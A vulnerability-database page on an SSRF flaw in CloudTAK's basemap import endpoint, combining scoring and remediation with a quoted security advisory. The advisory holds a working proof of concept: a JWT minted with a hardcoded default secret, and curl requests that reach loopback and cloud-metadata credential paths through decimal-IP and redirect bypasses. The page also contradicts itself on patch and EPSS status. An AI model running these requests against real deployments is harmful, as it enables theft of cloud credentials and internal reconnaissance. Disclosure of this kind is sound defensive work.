Skip to main content

CloudTAK EUVDEUVD-2026-82331

| CVE-2026-54546 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-17 https://github.com/dfpc-coe/CloudTAK GHSA-vqrw-qphh-p34v
5.0
CVSS 3.1 · Vendor: https://github.com/dfpc-coe/CloudTAK
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as any CloudTAK user
  2. Delivery
    Send PUT /api/basemap with internal target URL
  3. Exploit
    Server fetch() bypasses validation, follows redirects
  4. Execution
    Internal HTTP response reflected verbatim to attacker
  5. Impact
    Extract cloud IAM credentials or enumerate internal services

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid authenticated CloudTAK session - any user account of any role satisfies the Auth.is_auth() gate at api/routes/basemap.ts L157; no administrator, operator, or elevated role is needed. The SSRF targets internal services reachable from the API server's network interface; the highest-impact target (cloud instance credentials via IMDS at 169.254.169.254) is relevant only when CloudTAK is deployed in a cloud environment (AWS, GCP, Azure) where the metadata service is accessible from the host - on-premises deployments without IMDS are unaffected by the credential-theft scenario but remain vulnerable to internal service enumeration and loopback access. The PUT /api/basemap endpoint must be network-reachable by the attacker, which is the case for any standard internet- or intranet-facing CloudTAK deployment. Unauthenticated exploitation is not possible (CVSS PR:L confirmed). No non-default configuration, specific feature flag, or special deployment mode is required beyond standard CloudTAK operation. The three documented bypass variants confirm that any incomplete host-string filtering (rather than DNS-resolving IP classification) leaves the endpoint exploitable.

Impact

The official CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N, score 5.0) materially understates real-world risk for cloud-hosted deployments. The C:L rating reflects partial confidentiality loss under CVSS rubric, but the full-read nature of the SSRF means the attacker receives verbatim HTTP responses from internal services - including the AWS/GCP/Azure instance metadata endpoint at 169.254.169.254, which returns temporary IAM credentials with whatever permissions the host role carries. In a typical cloud deployment, this translates to cloud account-level access, well beyond what C:L conveys. The single access barrier is a valid authenticated user session of any role (PR:L); no elevation, administrator access, or special feature flag is required. No EPSS score was provided in the available intelligence, so exploitation probability cannot be quantified numerically. No CISA KEV listing exists at time of analysis; however, a comprehensive, working proof-of-concept with three independent bypass variants was published as part of the GitHub Security Advisory (GHSA-vqrw-qphh-p34v), substantially reducing the exploitation skill threshold. The absence of a released patch (confirmed from package data) means no remediation path exists in the npm registry at this time. CVSS indicates network vector and scope change - both consistent with the described behavior. No conflict between CVSS and description was identified; the primary gap is the C:L metric, which independent assessment suggests should be C:H for cloud-deployed instances.

Exploit ScenarioDerived

An attacker with any valid CloudTAK user account obtains a bearer token and sends a single PUT /api/basemap request with the body {"type":"raster","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>"} to the CloudTAK API; the server fetches the IMDS endpoint from its host network position and returns the JSON containing AccessKeyId, SecretAccessKey, and SessionToken verbatim in the HTTP response body. If direct IP literals are later blocked by an incomplete string-matching guard, the attacker substitutes the decimal encoding http://2130706433:9000/ (equivalent to 127.0.0.1) or routes through a public HTTP server that 302-redirects to the internal address, both of which are confirmed working bypass variants. A working proof-of-concept demonstrating all three techniques against a real deployed v13.5.0 instance is published in the GitHub advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 17, 2026

Full-read server-side request forgery in CloudTAK (npm @tak-ps/cloudtak) v13.5.0 and earlier allows any authenticated user to coerce the API server into fetching attacker-supplied URLs - including the cloud instance metadata endpoint (169.254.169.254), loopback, RFC1918, and CGNAT ranges - with the full internal HTTP response body reflected verbatim in the API reply. The vulnerability exists in the PUT /api/basemap endpoint, where user-controlled URLs pass directly from URL parsing to fetch() with no IP-address classification and default redirect-following enabled. Three independent bypass classes (direct IP literals, decimal IP encoding, and 302-redirect chain exploitation) are confirmed end-to-end in the published advisory's proof-of-concept; no vendor-released patch is available at time of analysis, and no CISA KEV listing exists, but publicly available exploit code lowers the skill bar significantly.

RemediationAI

No vendor-released patched npm version is confirmed at time of analysis - the advisory states a fix PR was submitted to maintainers via a private fork, but no tagged release appears in the package registry data. Operators should monitor https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v for a patched release. The advisory's suggested fix - replacing the bare fetch(url) call at api/routes/basemap.ts with a safeFetch() helper that resolves the target hostname via DNS and rejects any resolved address in loopback, RFC1918 (10/8, 172.16/12, 192.168/16), link-local including 169.254.0.0/16, CGNAT (100.64.0.0/10), IPv6-ULA, IPv4-mapped, and NAT64 ranges, with per-hop redirect re-validation - can be applied as a source-level patch prior to an official release. Note: string-prefix blocklists (e.g., matching '127.', '169.254.') are explicitly insufficient, as the advisory confirms bypass via decimal IP encoding and redirect chaining; the guard must classify the resolved numeric address. As a compensating control, operators can block access to PUT /api/basemap at the reverse-proxy or network layer - this eliminates the attack surface but disables basemap import functionality entirely. Separately, restricting the API server's egress to the IMDS IP (169.254.169.254) and RFC1918 ranges via host firewall rules or cloud security groups reduces credential-theft impact but does not prevent enumeration of any internal services within permitted egress paths.

Affected VersionsENISA

CloudTAK < 13.22.1

Affected Packages

npm @tak-ps/cloudtak fix: 13.22.1
euvd cloudtak fix: 13.22.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CloudTAK is a Node.js/TypeScript REST API (npm package @tak-ps/cloudtak) providing Team Awareness Kit (TAK) protocol support with PostgreSQL/PostGIS as its data store. The vulnerable code path is api/routes/basemap.ts, where the importBasemapURL() function receives a raw URL string from the request body, validates only that it is well-formed via new URL(rawURL), then passes it directly to Node's fetch(url) - which defaults to redirect: 'follow'. The response JSON is then partially reflected back to the caller via the OptionalTileJSON response shape (fields name, attribution, tiles[0], zoom levels). The only URL validation in the codebase, BasemapProtocol.isValidURL in api/lib/interface-basemap.ts, checks only that the scheme is http or https; the import route bypasses even this check entirely. CWE-918 (Server-Side Request Forgery) is the root cause class: user-controlled data reaches a network-fetch sink without address-class filtering. The full-read (non-blind) nature arises because the fetch response body is parsed and fields are copied into the HTTP response returned to the attacker, closing the read loop. The CPE is pkg:npm/@tak-ps/cloudtak, confirmed affected at commit 64bc1886ff56b62f53d765d69ac90ff9fc23b54b (tag v13.5.0).

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/dfpc-coe/CloudTAK) PRIMARY 5.0 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
vuln.today AI 7.7 HIGH

Full verbatim response reflection including IAM credentials warrants C:H; S:C confirmed by internal network scope change; PR:L per any-authenticated-user gate.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N

Primary rating from Vendor (https://github.com/dfpc-coe/CloudTAK).

CVSS VectorVendor: https://github.com/dfpc-coe/CloudTAK

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

1
Patch available
Sep 17, 2026 - 19:04 EUVD

DescriptionCVE.org

Summary

PUT /api/basemap (the basemap import endpoint) fetches an attacker-supplied URL server-side with no SSRF protection whatsoever. Any authenticated user can submit a JSON body { "type": "...", "url": "<attacker url>" }; the server calls fetch(url) against that URL and then reflects the response body (name, attribution, tiles[0], zoom levels) back to the caller in the OptionalTileJSON response.

Because there is no IP-address classification, internal-only services are reachable: cloud metadata (http://169.254.169.254/...), loopback (http://127.0.0.1/...), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a full-read SSRF (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.

The only URL check in the basemap protocol layer (BasemapProtocol.isValidURL, api/lib/interface-basemap.ts) validates the scheme is http/https only and performs no host/IP filtering - and the import path does not even call it; it goes straight from new URL(rawURL) to fetch(url).

Three independent bypass classes were confirmed end-to-end against a real deployed build:

  1. Direct internal/loopback IP literals.
  2. Alternate IP encodings (e.g. decimal http://2130706433/ = 127.0.0.1).
  3. Redirect following - fetch uses the default redirect: 'follow', so even a public initial host that 302-redirects to an internal address is followed with no re-validation.

Vulnerable code (file:line)

api/routes/basemap.ts - importBasemapURL() and the PUT /basemap handler (line numbers at commit 90d43bdd2fb7d9bd57cbce28c709d9e5207a475a):

https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136

ts
// api/routes/basemap.ts
async function importBasemapURL(
    config: Config,
    rawURL: string,
    auth?: Static<typeof BasemapImportAuth>,
): Promise<Static<typeof OptionalTileJSON>> {
    const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };

    let url: URL;
    try {
        url = new URL(rawURL);            // (1) only well-formedness is checked
    } catch (err) {
        throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');
    }

    if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }

    const tjres = await fetch(url);        // (2) SSRF sink - no host/IP guard, default redirect:follow
    if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');

    const tjbody = await tjres.json() as Record<string, any>;
    if (tjbody.name) imported.name = tjbody.name;               // (3) internal response reflected to caller
    if (tjbody.attribution) imported.attribution = tjbody.attribution;
    if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {
        imported.url = tjbody.tiles[0]...;
    }
    return imported;
}

The handler at api/routes/basemap.ts L139-L233 mounts this as PUT /api/basemap and gates it only with Auth.is_auth(config, req) (L157), i.e. any authenticated user with application/json body { type, url } reaches importBasemapURL((req.body).url, (req.body).auth).

BasemapProtocol.isValidURL at api/lib/interface-basemap.ts L136 - the only "validation" in the protocol layer - checks the scheme only and performs no IP filtering:

https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148

How input reaches the sink

  1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.
  2. Attacker sends PUT /api/basemap with Content-Type: application/json and body { "type": "...", "url": "<attacker url>" }.
  3. Handler api/routes/basemap.ts L155-L233 calls Auth.is_auth(config, req) (L157, any authenticated user passes) then importBasemapURL(config, (req.body).url, (req.body).auth) (L233).
  4. importBasemapURL (L68) does new URL(rawURL) (L79) and, for non-ESRI URLs, reaches const tjres = await fetch(url) (L99) - the SSRF sink. No host/IP classification occurs anywhere on this path; fetch uses the default redirect: 'follow'.
  5. The response JSON is parsed (L104) and name / attribution / tiles[0] are copied into the response object (L106-L117) and returned to the attacker - closing the read loop.

Impact

Server-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:

  • Read the cloud instance metadata endpoint (http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>) and exfiltrate temporary IAM credentials.
  • Reach and read internal-only HTTP services (databases' HTTP UIs, admin panels, other microservices) not exposed to the internet.
  • Enumerate internal hosts/ports via response/timing differences.

Because the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.

Proof of concept

End-to-end reproduction against a real deployed CloudTAK API server (not a unit harness). An internal-only sentinel HTTP service is bound to 127.0.0.1:9000 (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.

  1. Pinned install / build (v13.5.0, commit 64bc1886ff56b62f53d765d69ac90ff9fc23b54b):
bash
git clone https://github.com/dfpc-coe/CloudTAK.git
cd CloudTAK && git checkout v13.5.0
cd api && npm ci
# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)
  1. Deploy the real API server (test stack: SigningSecret defaults to the hardcoded coe-wildland-fire, migrations auto-apply, a default server row is auto-generated):
bash
cd api
StackName=test \
SigningSecret=coe-wildland-fire \
POSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \
API_URL='http://localhost:5001' \
npx tsx index.ts --noevents --nosinks --nogeofence
# => "ok - http://localhost:5001"
  1. Internal-only sentinel (internal_sentinel.js) - simulates an internal HTTP service / metadata endpoint, bound to loopback only:
js
const http = require('http');
const fs = require('fs');
const srv = http.createServer((req, res) => {
  fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',
    `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\n`);
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({
    name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',
    attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',
    tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],
    minzoom: 0, maxzoom: 19
  }));
});
srv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));
bash
node internal_sentinel.js &
# A redirector for the redirect-follow variant, also loopback-only:
node -e "require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')" &
  1. Attacker driver - mint a normal user JWT (signed with the deployed SigningSecret) and issue the three requests:
bash
TOK=$(node -e "console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))")
# (a) loopback / metadata-style path
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/"}'
# (b) decimal-IP encoding of 127.0.0.1
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://2130706433:9000/decimal-ip-bypass"}'
# (c) public-looking host that 302-redirects to internal (redirect:follow)
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://127.0.0.1:9100/start"}'
  1. Captured output - all three return the internal sentinel's secret body to the attacker, and the loopback-only sentinel records the server-side hits:
# HTTP response body returned to the attacker for (a), (b) and (c):
{"type":"raster","name":"INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c",
 "attribution":"leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e",
 "maxzoom":19,"minzoom":0,"url":"http://127.0.0.1:9000/internal/{$z}/{$x}/{$y}.png","format":"png"}
# /tmp/ssrf_sentinel_hits.log (sentinel is bound to 127.0.0.1 only):
[HIT 2026-06-03T05:01:13.606Z] GET /latest/meta-data/iam/security-credentials/ from=127.0.0.1
[HIT 2026-06-03T05:01:29.099Z] GET /decimal-ip-bypass from=127.0.0.1
[HIT 2026-06-03T05:01:30.151Z] GET /via-302-redirect from=127.0.0.1

The name and attribution values returned to the attacker are read verbatim from the internal service's HTTP response, demonstrating full-read SSRF. In a real cloud deployment the equivalent request http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns instance-role credentials.

  1. Negative control - a public host is fetched normally (the endpoint is not globally broken); only the *reachability* of internal addresses is the defect.

End-to-end reproduction (against pinned version)

All of the above was executed against a real deployed CloudTAK API server built from tag v13.5.0 (commit 64bc1886ff56b62f53d765d69ac90ff9fc23b54b), booted with StackName=test against a PostGIS-enabled Postgres so migrations and routes load unmodified. The vulnerable build returned the internal sentinel's secret body (INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c, leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e) for all three bypass variants, and the loopback-only sentinel recorded the three server-side hits shown above.

After applying the fix below to the same deployed build and restarting, the exact same three attacker requests instead return:

{"status":403,"message":"URL resolves to a disallowed (internal) address","messages":[]}

and the sentinel log records no new hits, while https://example.com/tile.json continues to be fetched (returns 400 "Unable to fetch TileJSON" - it reached the public host, the body just is not valid TileJSON). An isBlockedIP unit check passes 14/14: 169.254.169.254, 127.0.0.1, 10/8, 172.16/12, 192.168/16, 100.64/10, ::1, ::ffff:127.0.0.1, fd00::/8, fe80::/10, 64:ff9b::/96 all blocked; 8.8.8.8, 1.1.1.1, 93.184.216.34 all allowed.

Suggested fix

Add an SSRF guard that (1) resolves the target hostname via DNS and rejects the request if any resolved address falls in a loopback / private / link-local (incl. 169.254.0.0/16 cloud metadata) / CGNAT / IPv6-ULA / IPv4-mapped / NAT64 range, and (2) follows redirects manually, re-validating the Location of every hop so a 302 to an internal address cannot bypass the check. Apply it to the import sink at api/routes/basemap.ts (the fetch(url) call) and to the ESRI/metadata fetch paths in the same file.

A self-contained safeFetch(url) helper (DNS resolution + per-hop re-validation) replacing the bare fetch(url) is sufficient; the same helper should back the other user-URL fetches in the basemap routes. A fix PR implementing exactly this guard is provided.

Note: a literal-string/prefix host blocklist (e.g. matching 127., 10., 192.168.) is not sufficient - it is bypassed by alternate IP encodings, IPv6-mapped forms, and DNS-rebinding hostnames. The guard must classify the resolved numeric address.

Severity

High. Pre-conditions: a single authenticated CloudTAK user account (any role). Impact: server-side full-read access to internal-only HTTP services and the cloud metadata endpoint from the API server's network position, enabling theft of instance credentials and internal reconnaissance. No additional privileges or victim interaction required.

Fix PR link

A fix PR implementing the DNS-resolving, redirect-re-validating safeFetch guard described above is provided to the maintainers via the private temporary fork associated with this advisory. The full guard source is also inlined under the Suggested fix section's reasoning above; the patch adds api/lib/ssrf-guard.ts and replaces the bare fetch(url) at api/routes/basemap.ts with safeFetch(url).

Credits

Reported by tonghuaroot.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Low
niche TAK-protocol platform, primarily wildfire and public-safety deployments
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +25
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy